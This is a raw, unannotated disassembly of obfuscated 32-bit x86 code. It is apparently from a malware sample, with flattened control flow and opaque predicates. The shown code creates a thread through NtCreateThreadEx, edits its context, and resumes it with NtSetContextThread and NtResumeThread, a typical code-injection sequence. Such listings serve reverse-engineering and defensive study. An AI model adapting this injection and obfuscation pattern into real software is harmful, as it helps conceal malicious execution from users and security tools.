mov eax, dword [eax]
add ecx, 0x48310d28
add ecx, eax
sub ecx, 0x48310d28
mov eax, dword [ebp - 0xd8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xd8]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x138]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xd4]
xor esi, esi
sub esp, 0x2c
mov dword [esp], edx
mov dword [esp + 4], 0x20000000
mov dword [esp + 8], 0
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], 0
mov dword [esp + 0x24], 0
mov dword [esp + 0x28], 0
call sub.ntdll.dll_NtCreateThreadEx
mov eax, dword [ebp - 0xe0]
mov ecx, dword [eax]
add ecx, 4
mov eax, dword [ebp - 0xe0]
mov dword [eax], ecx
mov eax, dword [0x10064738]
mov ecx, dword [0x10064734]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa7e7a4b
mov ecx, 0x7b3796e5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x100073f9
mov dword [ebp - 0x150], 0x93616226
jmp 0x100073f9
mov eax, dword [ebp - 0x13c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x138]
mov ecx, dword [ecx + 4]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call sub.ntdll.dll_NtSetContextThread
mov eax, dword [ebp - 0x138]
mov eax, dword [eax + 4]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call sub.ntdll.dll_NtResumeThread
mov dword [ebp - 0x150], 0xf36249ca
jmp 0x100073f9
mov eax, dword [ebp - 0x138]
mov eax, dword [eax + 4]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x138]
mov eax, dword [eax]
mov dword [ebp - 0x14], eax
mov eax, dword [0x10064738]
mov ecx, dword [0x10064734]
mov edx, eax
sub edx, 0xd1479dc8
sub edx, 1
add edx, 0xd1479dc8
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7a33981f
mov ecx, 0x135a4b70
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x100073f9
mov dword [ebp - 0x150], 0x5e0609de
jmp 0x100073f9
mov ecx, dword [0x10064738]
mov eax, dword [0x10064734]
mov edx, ecx
sub edx, 0x590881ba
sub edx, 1
add edx, 0x590881ba
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xa2524654
mov ecx, 0xac9ba45b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x100073f9
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10007ff0
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov dword [ebp - 0x150], 0xc394fd2a
jmp 0x100073f9
mov eax, dword [ebp - 0x110]
mov eax, dword [ebp - 0x140]
mov dword [ebp - 0x150], 0xc7977d6c
jmp 0x100073f9
mov eax, dword [ebp - 0x108]
mov eax, dword [ebp - 0x114]
mov eax, dword [ebp - 0x104]
mov dword [ebp - 0x150], 0x6485e8de
jmp 0x100073f9
mov dword [ebp - 0x150], 0x73a8f28f
jmp 0x100073f9
mov eax, dword [ebp - 0x10c]
mov dword [ebp - 0x150], 0x8d68d5d0
jmp 0x100073f9
mov dword [ebp - 0x150], 0x25503bba
jmp 0x100073f9
mov eax, dword [ebp - 0x124]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x140]
mov eax, dword [eax]
mov eax, dword [eax + 0x28]
sub ecx, 0x781f8ba
add ecx, eax
add ecx, 0x781f8ba
mov eax, dword [ebp - 0x13c]
mov eax, dword [eax]
mov dword [eax + 0xb0], ecx
mov dword [ebp - 0x150], 0xeeb73be7
jmp 0x100073f9
mov eax, dword [ebp - 0x14]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x150], 0x4fa94b44
jmp 0x100073f9
mov dword [ebp - 0x150], 0x8e0a3302
jmp 0x10003457